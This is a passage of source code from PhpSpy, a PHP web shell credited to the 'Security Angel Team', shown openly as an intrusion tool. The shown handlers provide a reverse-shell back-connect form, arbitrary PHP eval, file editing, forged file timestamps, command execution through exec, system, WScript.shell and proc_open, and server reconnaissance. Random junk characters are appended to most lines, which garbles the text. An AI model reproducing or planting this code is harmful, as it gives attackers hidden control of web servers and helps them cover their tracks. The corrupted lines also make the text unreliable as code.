- formhead(array('title'=>'Back Connect'));$ i7 c5 d0 C. i4 I9 E
- makehide('action','backconnect');
8 ?+ | T0 ^( X2 }+ l7 }0 o - p('<p>');
2 z9 k( x" \. r; E - p('Your IP:');
6 {' Z* l# ^7 t3 J: X5 H - makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));. c! v+ g# M3 i0 B
- p('Your Port:');5 ^5 I# y$ I/ L! k( ?$ I* L
- makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));& h; o3 z( _) Q0 m) W! t0 h3 E% x
- p('Use:');
' a4 n2 } `; F, c& a/ Q - makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));+ U, V4 P9 [# {
- makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
, j; J; H+ |. F9 l/ s, E - p('</p>');- i5 O5 h& _+ T }0 s/ O) K/ ^/ k
- formfoot();- B) {$ ^% D4 X9 Y: E) X9 ]
- }//end sql backup! u8 }0 t' D- o& [$ i0 b
- elseif ($action == 'eval') {
! k \6 `( R4 c; V7 E" A/ `. w - $phpcode = trim($phpcode);
+ d- L9 s$ Y/ f0 x - if($phpcode){" b' B% Q- \2 |3 A0 ^
- if (!preg_match('#<\?#si', $phpcode)) { R% g4 O7 d6 M3 `
- $phpcode = "<?php\n\n{$phpcode}\n\n?>";8 H4 S4 _) o9 L& j' o) h P
- }2 M1 F( I4 f( q( I) H
- eval("?".">$phpcode<?");
1 L3 L8 j1 b8 C8 w5 q+ Z w# ]+ @ - }* B/ M! B* M5 p0 H% j; Z4 ]6 \
- formhead(array('title'=>'Eval PHP Code'));
/ N* w b" _: y4 q3 v - makehide('action','eval');
% v! M8 O% v0 i; w1 ^& L - maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
: q; W. A! n0 V/ k - p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
" @$ N$ g+ g# Z6 j R - formfooter();
, r; A0 Y7 F" x7 a5 `" V2 c - }//end eval
9 _, ]. P6 m8 v4 O7 V; q4 z g -
* V! a$ y# m$ \( W - elseif ($action == 'editfile') {7 n0 b( W5 z3 b+ W4 |- y/ s3 }* B, J
- if(file_exists($opfile)) {
% h+ D1 Q7 e6 u0 W# v* G7 H0 t - $fp=@fopen($opfile,'r');( R1 S7 B' L) E6 U, h. N8 f+ T# G
- $contents=@fread($fp, filesize($opfile));
G u0 Y, {& l5 D2 O0 C - @fclose($fp);( y& i8 [, K u& s7 t2 R
- $contents=htmlspecialchars($contents);
, K; E0 s8 ~3 {* i6 _( D* F - }# |; x `3 [5 j
- formhead(array('title'=>'Create / Edit File'));2 o; U. I# k3 n6 H( `: I4 {1 X3 i
- makehide('action','file');
7 n! Z" o# Z2 V2 { - makehide('dir',$nowpath);/ B& F' F4 X! d- H7 u1 G5 |
- makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
, F& b' Q4 y& \- S- d6 M+ b( z - maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
7 q# }1 H6 O; \, o: g5 n* y - formfooter();$ ^4 ^9 ?; ]# V: n1 z8 W
- }//end editfile! g" f3 d8 d; _( [8 A
-
6 ~ A& R% I) s# Z; S - elseif ($action == 'newtime') { L ?/ u7 ?& s+ b8 S. z, q
- $opfilemtime = @filemtime($opfile);
6 G W# C+ v2 e( V - //$time = strtotime("$year-$month-$day $hour:$minute:$second");
' v) s* u. p% G1 `6 O, r - $cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1 P6 K8 l& \/ b V9 o - formhead(array('title'=>'Clone file was last modified time'));
4 }6 G! r, p. t% m - makehide('action','file');! h$ s! x! c3 ~8 z7 m
- makehide('dir',$nowpath);3 z0 t6 S" Z) ]$ J$ `# t! O
- makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
7 s C+ F6 Z" v7 ` - makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
: A+ v8 |1 e% q/ X, j' Q) A7 E6 x9 ^# j - formfooter();; S5 a1 n4 j0 \
- formhead(array('title'=>'Set last modified'));
# D' `; f' q# P. w# V4 j - makehide('action','file');* _& U% N! ~$ \, o
- makehide('dir',$nowpath);
$ Z# |1 l. R5 @2 a! e" L - makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
! x% q' c2 L# m5 e3 i - p('<p>Instead »');- o6 u$ ~8 U" X& h
- p('year:');6 [8 o6 {+ k0 l; h' h
- makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));9 c/ ~& ]$ E* ^2 Y u
- p('month:');& y4 h% |. r8 i( j
- makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
0 c6 h# C! O: t, {, a5 t( ?! j - p('day:');
3 U6 p) d- u/ ^ S1 g+ K( s - makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));1 r+ O- o2 i. m+ R( {
- p('hour:');
, T9 r* C2 q& U% y - makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));' g6 J d: F1 P j
- p('minute:');
t$ g0 z8 L: ~; ~2 Q. Z* ] - makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));6 N2 o) I2 x1 S3 {1 D' h4 W
- p('second:');8 T: C( Y; @4 k8 w& |4 ]- h
- makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));* u" e$ |0 j) ^1 _: g5 G" c6 A" n/ d
- p('</p>');
8 L6 P& m! o, f) E - formfooter();. z6 l* ~' ^+ L* X8 G) c
- }//end newtime
/ z- {3 z, \2 ?' n - 9 x% u% V- b9 d# r
- elseif ($action == 'shell') {
% U$ s: @* E! B) S) Q- I - if (IS_WIN && IS_COM) {9 e7 E2 y% Q1 D: u' A. Q
- if($program && $parameter) {; p& m0 X4 j- k% }. n. B- I1 V
- $shell= new COM('Shell.Application');1 C5 o- W4 g$ G5 h( R( M8 O8 h# L, Y
- $a = $shell->ShellExecute($program,$parameter);
! b- I, e. x9 Z, ~/ A - m('Program run has '.(!$a ? 'success' : 'fail'));
3 M* V8 B: M. @7 Q' z1 H" U0 V - }8 u |. A4 E( m9 `/ v
- !$program && $program = 'c:\windows\system32\cmd.exe';' U3 V* ~% u7 r. d2 }2 r x' E, w
- !$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
. k; _: g' q6 g# h% }0 v - formhead(array('title'=>'Execute Program'));
% r3 z0 `$ K" u A. }9 W - makehide('action','shell');
. i& I, R* S8 W - makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));2 I. s$ G- Q- u9 b& k
- p('<p>');
]7 h% |0 O( _% T) F - makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1 w# O: s N* D5 B - makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));# U) f; y3 `* P) z: Z/ k& s
- p('</p>');
% J* ?/ z* h: I! X6 a* r" h5 G - formfoot();
' e" r! h( H$ v" x R% |. {& u - }
7 J% p8 m, o3 g- B/ x, {* O - formhead(array('title'=>'Execute Command'));
5 c3 y* h0 o1 c% Y$ w/ U1 _ - makehide('action','shell');
9 f" z8 @+ a$ |' z b - if (IS_WIN && IS_COM) {' x I" C( J9 q o5 [+ l
- $execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open'); @; s+ j* k4 n% }
- makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));) s0 N- p5 q: f" A1 _7 E
- }
& E8 r4 }! w- N0 s2 [0 @ - p('<p>');% M5 b3 Z0 m: k8 n1 C
- makeinput(array('title'=>'Command','name'=>'command','value'=>$command));2 e/ f# K9 y. t2 X6 ?& }
- makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));, m K2 Z% b2 v& x
- p('</p>');" G7 E7 x, ?7 ?" s, s6 L& n
- formfoot();
2 q5 X; M. b1 a) H4 D: A -
6 @' p, Y! v6 v7 H% E - if ($command) {# d; P6 F) i. Y
- p('<hr width="100%" noshade /><pre>');
% `; t6 {: m4 |' f7 @" \ - if ($execfunc=='wscript' && IS_WIN && IS_COM) {( t3 u5 [5 ^' ^4 L3 P
- $wsh = new COM('WScript.shell');% V3 l8 `& h6 g5 E6 n8 l0 f3 G' K
- $exec = $wsh->exec('cmd.exe /c '.$command);
" f1 [4 r& K' T" {" Q5 m9 T1 ] - $stdout = $exec->StdOut();
- R* k+ q0 |9 l ] - $stroutput = $stdout->ReadAll();
" g$ u8 o/ Q0 ~) e F - echo $stroutput;+ U& ~8 U/ Y8 q( @8 N
- } elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
& o7 O+ q9 E9 f - $descriptorspec = array(
& j0 ^4 H" x5 |( V$ b - 0 => array('pipe', 'r'),
* w6 _# m0 |/ ?% g+ C* M: y - 1 => array('pipe', 'w'),
1 R* m! N% Z* [ C$ W& _5 N$ m7 q - 2 => array('pipe', 'w') q; A" F& k0 K8 d/ e# G( R9 S
- );4 M A2 d1 K# i" s
- $process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);. y- U& o( Y- U: _% e
- if (is_resource($process)) {8 `" Z" j8 z5 L% \9 p( A
- fwrite($pipes[0], $command."\r\n");7 B( \8 d" z1 S6 z b
- fwrite($pipes[0], "exit\r\n");+ S* \4 L! K5 ]+ o$ {3 {
- fclose($pipes[0]);2 h1 j% p6 k: m' z2 [% V) I/ x
- while (!feof($pipes[1])) {: P" `$ h; {- ~" _# e( I- z# d) B
- echo fgets($pipes[1], 1024);/ T9 N" P/ F$ \6 T2 W" u7 ?* v
- }
$ \7 X5 y4 m' T' h) ^ - fclose($pipes[1]);9 K0 C; y! p: k; ?. h- {6 h
- while (!feof($pipes[2])) {
' S/ S3 ^1 c# A2 }7 V - echo fgets($pipes[2], 1024);
- a; ~; s" N7 x+ _& t, a - }
. ]: ^$ B2 o5 |. Y/ N/ p: L. p - fclose($pipes[2]);
5 Z9 i9 s9 S8 l. ? - proc_close($process);- I" |% d6 |- e6 {
- }
( s6 o3 |/ d1 p, U - } else {
& c' O' T7 m I# E - echo(execute($command));
2 l7 R m* P* B$ } - }
$ |; n& {3 o$ `! V W) y2 p1 w) U: L& o - p('</pre>');
! W! {2 e' h3 l3 r7 H* s - }
; C; n. ~& ]) I6 D" L - }//end shell
* X9 J( B: k B) @: K - " z# Z* Z6 x- A
- elseif ($action == 'phpenv') {. F& } v2 y* x; }4 Z8 D
- $upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
9 T, a }5 R+ y, i4 p - $adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
3 u$ A/ U) N( z) s - !$dis_func && $dis_func = 'No'; K" u9 s) s* Y: u2 H Y# }
- $info = array() T, G4 i: ?& ]- U5 _. ~
- 1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),' v6 }' W8 P4 L' Z7 A" U3 A
- 2 => array('Server Domain',$_SERVER['SERVER_NAME']),- F5 @* j) q* q) a/ D' }
- 3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),( t& b) x0 ~% Z$ g0 S" z7 j# w
- 4 => array('Server OS',PHP_OS),
" z5 ^$ N# ~) y - 5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),3 V! f* M$ o2 V- {: p5 V' }
- 6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),/ S$ V3 [$ l6 {! b
- 7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
% X6 T7 F& D5 _8 M - 8 => array('PHP run mode',strtoupper(php_sapi_name())),8 c( V( z; ?( ^+ x0 \9 `+ e. @
- 9 => array('The file path',__FILE__),
, u) Z/ n4 A* g o: v -
# ^6 j8 q! ^+ E: x - 10 => array('PHP Version',PHP_VERSION),# K% c+ o0 P9 d- f- O4 B) h
- 11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
u T! c" E# l2 f3 r; g - 12 => array('Safe Mode',getcfg('safe_mode')),
: e# e7 Y6 h" I( B) O - 13 => array('Administrator',$adminmail),
( X4 T5 M' E8 n3 [' y - 14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
0 w% T; z1 h0 u7 F, C& ]% J2 \ - 15 => array('enable_dl',getcfg('enable_dl')),
8 `. S/ N! }1 ~% \- t - 16 => array('display_errors',getcfg('display_errors')),
, Q8 V) H3 u9 c$ c" [' @ - 17 => array('register_globals',getcfg('register_globals')),; b9 L. J q1 Z+ a, \" t
- 18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
, ]: g; N, e7 l# x% Q - 19 => array('memory_limit',getcfg('memory_limit')),
8 O" c" | G6 m1 R7 {3 O - 20 => array('post_max_size',getcfg('post_max_size')),3 [* Z! G8 F: ^, g# q- d6 o
- 21 => array('upload_max_filesize',$upsize),
" J) B5 N& H, `# P" m - 22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),5 M% q. |/ a" \# J; P, B! x5 O
- 23 => array('disable_functions',$dis_func),
7 J4 P( p1 R, U1 D7 X( g - );
0 w3 K, p+ ~3 F - ) S' i% `$ S" M
- if($phpvarname) {' W7 q2 s' ]* j6 t
- m($phpvarname .' : '.getcfg($phpvarname));7 z/ U1 v% m% x/ Y! Z/ \- s
- }
" N; Y" o$ a/ J2 z7 L -
* N8 z# D9 r5 j& ?5 Y. X8 i& t( `" V - formhead(array('title'=>'Server environment'));8 ^# a9 o0 L7 ^8 t$ Y5 ]
- makehide('action','phpenv');
5 F) z' F/ \% N/ O - makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
: v2 g% I& v2 N' ? - formfooter();
, y7 ]: v2 `/ t9 V( J - 9 w0 Q; m6 y0 w0 W
- $hp = array(0=> 'Server', 1=> 'PHP');; a4 W5 F6 S; E6 m( z8 O
- for($a=0;$a<2;$a++) {
1 f1 ^, f h1 n - p('<h2>'.$hp[$a].' »</h2>');
1 @$ u1 P: F3 e1 | - p('<ul class="info">');
+ Q A! B8 x; |- ?* Z; s$ O - if ($a==0) {+ j/ e0 O, H" } U5 x7 ^
- for($i=1;$i<=9;$i++) {' j0 n( J8 J1 t/ x# [; e
- p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');9 ?- m+ e. O! c. `; h
- }; p0 ~, _4 k; x: o" I
- } elseif ($a == 1) {
, R. ~* H, V% d0 E2 C - for($i=10;$i<=23;$i++) {
+ R0 y* H3 |- y S' i - p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');1 |, T5 p9 P( t( ~
- }
3 g: |1 n8 U6 I6 o# \. ~9 ^* N - }
, |! v, [' V [+ D% z5 s& R3 f - p('</ul>');' G7 B5 |2 K5 t, ~
- }/ J M5 m( s" z2 \1 \* B
- }//end phpenv+ C, G& A+ t6 R9 b
- + J/ O7 {+ K/ B# i; s7 A K1 M% [
- else {. {: Q+ U( [$ b0 B
- m('Undefined Action');1 Q1 B* s" f7 f) m6 d2 S. D
- }
7 m4 B& q1 j6 `1 h - * W- F/ S# ]7 Y" J( V0 w% ?. N$ E
- ?>
* R3 U" U1 Y0 A; }9 v. B - </td></tr></table>
$ {( O4 Y1 y% g( W* q - <div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
, _5 P5 F- z$ J/ B3 Q7 } - <span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
; g" |3 X" ?& k. _; P2 h - Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
( {% H% ]. Z9 c' X# n: _ - </div>+ D: x$ X- Y0 R- L; g
- </body>& S7 @, {& j* s# ?
- </html># d1 D' B2 r9 y% R" _3 Q; y
- 1 c( Q- A2 ~- e6 @0 D
- <?php$ J4 ~9 L) R! l! v0 U2 _
-
2 t0 L# j, h5 D' \: y - /*======================================================) T& M3 ~) S) A |; B9 ?5 ~
- 函数库
* I H: |' ]: e3 M+ u! P \6 G5 ? - ======================================================*/
: O" P+ Z1 W2 p+ u& I - 7 v% L: u: M' J2 M3 _
- function m($msg) {2 w% c. {% L7 u) \# C
- echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';! {& Q/ o: u! d/ Z6 Z$ ]
- echo $msg;( O6 o1 i. b! }7 G
- echo '</div>';% F" q+ I6 t$ R
- }& v% l! `% ], U/ ?( L( j
- function scookie($key, $value, $life = 0, $prefix = 1) {. f; s, r) b4 Y( i
- global $admin, $timestamp, $_SERVER;( Z: K9 u. |; d3 c' s
- $key = ($prefix ? $admin['cookiepre'] : '').$key;
5 H0 b0 s0 C$ A- W J$ r - $life = $life ? $life : $admin['cookielife'];
. N# ~0 g& h1 t# O1 Z; q* D - $useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;3 i. q1 s0 T5 g% u
- setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
4 G B; ^; B l1 D) Q3 E - } , @# F: }/ m% L e4 b5 L
- function multi($num, $perpage, $curpage, $tablename) {8 K% L2 A; K5 Z' u# s
- $multipage = '';+ \4 i$ i7 B8 R
- if($num > $perpage) {( g; A6 k1 H- l1 g! H
- $page = 10;9 o+ U2 q2 P/ s: J& r; A2 s8 B
- $offset = 5;
^+ `6 u4 b& [: ^; U - $pages = @ceil($num / $perpage);
6 `" W* ]3 M$ `0 U% A( b - if($page > $pages) {5 q' ^9 k( H7 b6 \1 ^9 E- M' L$ C. @
- $from = 1;
; {" Z! w r, b+ G0 q. l/ [ - $to = $pages;
+ M4 z: p4 S9 W8 K - } else {
" K% o$ l2 d2 A2 i( N, T - $from = $curpage - $offset;& c. c. k3 ?% o2 t) G0 }+ `
- $to = $curpage + $page - $offset - 1;7 \& v2 {" _& ?2 |% c \. t0 O
- if($from < 1) {
/ P+ [1 j+ D5 M/ e - $to = $curpage + 1 - $from;
4 M8 _+ W y# P( d8 z5 `4 E/ }8 h - $from = 1;
i9 a" v3 e; J, ]" U& F - if(($to - $from) < $page && ($to - $from) < $pages) {: k7 c# Q r2 q
- $to = $page;1 f$ S8 V6 e+ N" c" N1 D
- }
( q" V& \1 ]5 b' \6 ` - } elseif($to > $pages) {
8 v4 e3 l2 z$ k1 U5 \ {3 ?$ u - $from = $curpage - $pages + $to;: L3 ^0 k4 _, i( X6 _
- $to = $pages;4 w% T/ S, Y" ] N0 V1 I
- if(($to - $from) < $page && ($to - $from) < $pages) {# U* T5 o1 p: b6 g+ g
- $from = $pages - $page + 1;
0 a6 }+ G0 e& f: d0 Q - }
, H9 t& f6 E5 ]( ^' V, E9 [2 y - }* U3 f6 p5 L! g( L5 Q
- }
/ ~; y# |) Y: M+ G - $multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');. B) z, h1 v) X" N
- for($i = $from; $i <= $to; $i++) {
8 P" Y: W/ P$ s. p& Y; F - $multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
5 E5 ]' e/ d' J, ~0 D! \4 } - }& f- e5 k+ |' I* K
- $multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');: W& q& k# l: x4 O( D5 Q0 G$ X
- $multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';7 t$ ^, V$ ]' y1 r! y0 p9 x. S' K
- }
$ V' k8 i/ b7 l* @7 h4 n7 e% n - return $multipage;7 G' s* ^; \; W/ ^- r( |3 \: y
- }4 w2 y, v7 @7 j- R- ~: H
- // 登陆入口
% w% i( B* d5 f3 l: K; I3 x - function loginpage() {, W; A C9 j- l: Z. Z) L1 J! R
- ?>( \! r0 y2 m' y
- <style type="text/css">
5 n5 [5 k# n$ q5 G/ ^ n - input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
' q$ D: R7 \+ L - </style>4 p. Q2 O7 `# I. ~- I4 z
- <form method="POST" action="">
! E2 H% R2 {) x& m - <span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">" f( m$ Y; l1 @; J g
- <input type="hidden" name="doing" value="login">
, M$ T* v2 e3 n f! ]3 P! d - <input type="submit" value="Login">
' M; ^5 h: J7 k8 [: V% J! }# s - </form>
& V/ z& j( ]/ P - <?php
5 w C e( H& N* S7 k( M6 t7 s - exit;4 b0 F" {" j" M7 i3 D
- }//end loginpage()
) N3 e* ?" B5 k6 z+ e8 { -
' x5 F8 y1 Q2 R, b - function execute($cfe) {
0 W( k. F4 Z6 b; `* [ - $res = '';
" C- r8 B$ v0 G: ]4 z9 E% j1 [( f - if ($cfe) {+ V+ p |" B& J6 \
- if(function_exists('exec')) {
! G, ?0 f" C: k3 p - @exec($cfe,$res);
; \+ M) v& Q, k' t" Z7 W, O - $res = join("\n",$res);
; ^; K+ I! Q8 ]/ Q - } elseif(function_exists('shell_exec')) {# l! i$ z1 F4 K% ^9 j
- $res = @shell_exec($cfe);
4 t9 l7 u9 s) s* n+ L - } elseif(function_exists('system')) {
: a( x2 b4 s C! b - @ob_start();
+ e# d) X4 Q1 E$ T - @system($cfe);- p" U5 T7 y( ~! Y( z- k
- $res = @ob_get_contents(); Z. N( u2 Z3 T
- @ob_end_clean();
$ ]) R3 r5 T3 W2 Z, o3 N* g2 B - } elseif(function_exists('passthru')) {: `) S- [: i# W! c* |( k: R
- @ob_start();
# V2 t1 r+ M; K0 e - @passthru($cfe);" y" ~: W3 l2 @
- $res = @ob_get_contents();- P6 u& a. C, z. w
- @ob_end_clean();
7 J5 o# D3 ]7 ^6 ? - } elseif(@is_resource($f = @popen($cfe,"r"))) {5 O7 M7 `" {: U1 J
- $res = '';* r* L% d. ?: h, Q3 Y: M% l1 z/ k) S7 X
- while(!@feof($f)) {
( T! ~# K/ ~( V7 q3 l% i - $res .= @fread($f,1024); 4 X1 ^5 N7 u' I) @6 ?9 F
- }
) m1 V$ f: c: s6 J N. K - @pclose($f);
6 w! g* E4 X! Q5 K( T - }
* S5 j4 N" B1 n9 P - }0 r& s8 A( r/ x, p0 p+ e3 j2 C4 q
- return $res;/ L* Q% q3 M' N2 A( L' Y
- }2 J5 u5 M% \7 z0 D) ?
- function which($pr) {$ }/ M# l/ w( R1 H* C
- $path = execute("which $pr");4 u( Q8 [. c% o1 K& B6 F2 L
- return ($path ? $path : $pr);
8 Z4 ^' l3 a9 S5 z+ r - }+ B6 D" i$ P' h
-
/ W! ^+ N& |$ g' ` - function cf($fname,$text){
$ _2 _1 Z( {4 {# i' K5 Z4 }3 N - if($fp=@fopen($fname,'w')) {
/ {/ B4 P/ f. [; a$ R8 X - @fputs($fp,@base64_decode($text));- S3 d6 [1 l- V( x
- @fclose($fp);1 ^2 n( T$ G/ _( `/ O: e! a
- }
" [: b( H* a1 a# U7 }, K - }$ e! c% Z* |' I7 e, g
- ; I$ C, }: U! D0 |8 J( X
- // 页面调试信息9 X4 E. o$ r$ T+ t) X$ U
- function debuginfo() {
0 o! v- X& S3 m. V3 ^ - global $starttime;. V5 {" E- @" I# S
- $mtime = explode(' ', microtime());
3 n3 Z- B% d$ \5 r4 j - $totaltime = number_format(($mtime[1] + $mtime[0] - $starttime), 6);
* ^' `9 q8 U6 [- d; t& p& r - echo 'Processed in '.$totaltime.' second(s)';- y4 }8 W3 W8 v- a+ e _
- }
. f7 Z- \$ P/ Z- h" E2 Y7 B5 } -
4 v- R' h0 L v9 A0 s - //连接数据库
t9 ~2 {4 ^$ ` E2 K# ~ - function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
! r- y2 F/ ~, Z$ {2 K - if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
+ k, R, ]# y4 O: |+ D" i0 Z+ L - p('<h2>Can not connect to MySQL server</h2>');
8 z) \# W, f1 j7 q! x1 l - exit;+ Z% c$ y! w% E' _
- }: ` \5 J$ f! O. Q9 G: U
- if($link && $dbname) {) h! [ D4 ^+ G. O% x
- if (!@mysql_select_db($dbname, $link)) {1 `+ j) R) J: n% o. b6 e
- p('<h2>Database selected has error</h2>');% w9 g3 F2 X! p% ~$ n* l
- exit;
7 g" W k% |9 I- k& e - }
/ e8 }; ?: }7 Y) o% t. {1 W1 E* p: C - }: U6 `1 _: Z' m5 U+ k
- if($link && mysql_get_server_info() > '4.1') {4 i. W3 B4 R; L' m
- if(in_array(strtolower($charset), array('gbk', 'big5', 'utf8'))) {$ I/ {' R4 R4 P" g
- q("SET character_set_connection=$charset, character_set_results=$charset, character_set_client=binary;", $link);
$ I% D% ]1 v4 Y, q6 y9 c' p& c - }1 v* |) H- N: N! _# |/ u9 B
- }
+ }% Y# d! M3 {$ V - return $link;
$ ?8 C P) A$ g4 I' x$ N - }' @9 `- z, H- j% E: n' t
- 5 R5 v2 X+ T- n! p) t; s
- // 去掉转义字符
( Z0 y7 `. M* h; h0 Q6 J# x5 I! @" J* H - function s_array(&$array) {" J5 g3 D$ O% [( s
- if (is_array($array)) {
; z. H, G9 b2 G, N - foreach ($array as $k => $v) {
. L3 P5 ?! s5 t8 Q7 z1 k, k! U - $array[$k] = s_array($v);, N, ?+ P) X ^/ D) X
- }3 Z4 k x7 E" e" a
- } else if (is_string($array)) {
$ @! f1 [6 F/ ^% ` - $array = stripslashes($array);) g; u5 I8 x. k1 G
- }; ^& p9 _( y" R* I& q) k
- return $array;! t4 a# S! ~6 F: o) S; _
- }
* l4 S t2 V/ s2 |' A% m7 s -
6 e3 i H3 Q0 S0 @+ l% N" U - // 清除HTML代码- p3 L5 d4 b6 p8 Q7 i
- function html_clean($content) {
$ Z0 ]9 W9 e7 g2 R - $content = htmlspecialchars($content);
( D6 Z4 }2 q- I+ r! ` - $content = str_replace("\n", "<br />", $content);+ W. b' ]! ]# R8 Q& J) n
- $content = str_replace(" ", " ", $content);
& E+ v8 R) I5 p) @1 B - $content = str_replace("\t", " ", $content);
& \. O) Q& I) B - return $content;3 h$ w4 ^& ~' c0 ?; Q v
- }7 u8 e( A" d m
-
8 o! s5 l, S# u( [) B6 | - // 获取权限: X4 _8 R8 Z; W v- N
- function getChmod($filepath){6 t% ~5 V* M% U3 x- `5 G/ E
- return substr(base_convert(@fileperms($filepath),10,8),-4);
& `6 b6 h- R: B V# e' Z1 p7 V6 c8 F7 ]' Q - }
3 o, \; P% o4 g: T6 _; j -
1 @% y3 @' I f3 C - function getPerms($filepath) {2 P; R. v) U" s6 K7 j/ Q& x
- $mode = @fileperms($filepath);
' m" O* t" i3 B5 q, D' z1 w - if (($mode & 0xC000) === 0xC000) {$type = 's';}
8 ?& L) n3 U: K - elseif (($mode & 0x4000) === 0x4000) {$type = 'd';}
/ h- d% ?/ k1 T - elseif (($mode & 0xA000) === 0xA000) {$type = 'l';}3 z$ Q9 S1 y% s% J( C$ i6 T
- elseif (($mode & 0x8000) === 0x8000) {$type = '-';}
# K6 Z9 Y: n' q7 G - elseif (($mode & 0x6000) === 0x6000) {$type = 'b';}* ?3 K# y, Y* h) [4 ?6 Z& w
- elseif (($mode & 0x2000) === 0x2000) {$type = 'c';}
" m- q% E5 a$ {. m3 M - elseif (($mode & 0x1000) === 0x1000) {$type = 'p';} R. G4 N/ p! T6 a/ ]1 \
- else {$type = '?';}
1 `+ m0 O4 |1 K - ! ]4 J: D5 j$ {$ N" c
- $owner['read'] = ($mode & 00400) ? 'r' : '-';
1 k& {4 F# I. Z - $owner['write'] = ($mode & 00200) ? 'w' : '-';
7 [% i4 F& S4 y% T6 R& H* r - $owner['execute'] = ($mode & 00100) ? 'x' : '-';
5 u; s# a2 {0 ]: [& u1 Y0 g - $group['read'] = ($mode & 00040) ? 'r' : '-'; ' p( X% [( F) S" e1 ?7 W
- $group['write'] = ($mode & 00020) ? 'w' : '-';
H# ~) [" x. H - $group['execute'] = ($mode & 00010) ? 'x' : '-';
1 v7 K) k! j7 \" k6 [) { - $world['read'] = ($mode & 00004) ? 'r' : '-';
* t' }3 R# x; x+ f7 T! z! J+ I, C - $world['write'] = ($mode & 00002) ? 'w' : '-'; / p) G( V; L ~
- $world['execute'] = ($mode & 00001) ? 'x' : '-'; - g" l9 H8 l/ ]2 Y- H7 m
-
; M3 P9 A3 ^6 g5 L5 d - if( $mode & 0x800 ) {$owner['execute'] = ($owner['execute']=='x') ? 's' : 'S';}
4 u! j- J0 G/ ?/ Y9 s5 _' } - if( $mode & 0x400 ) {$group['execute'] = ($group['execute']=='x') ? 's' : 'S';}
4 |& @* d1 o- U% E; k - if( $mode & 0x200 ) {$world['execute'] = ($world['execute']=='x') ? 't' : 'T';}
& n8 k# h8 g6 {1 ~' M3 ^. q9 a( Z4 X - & ^# U% ?5 z2 y
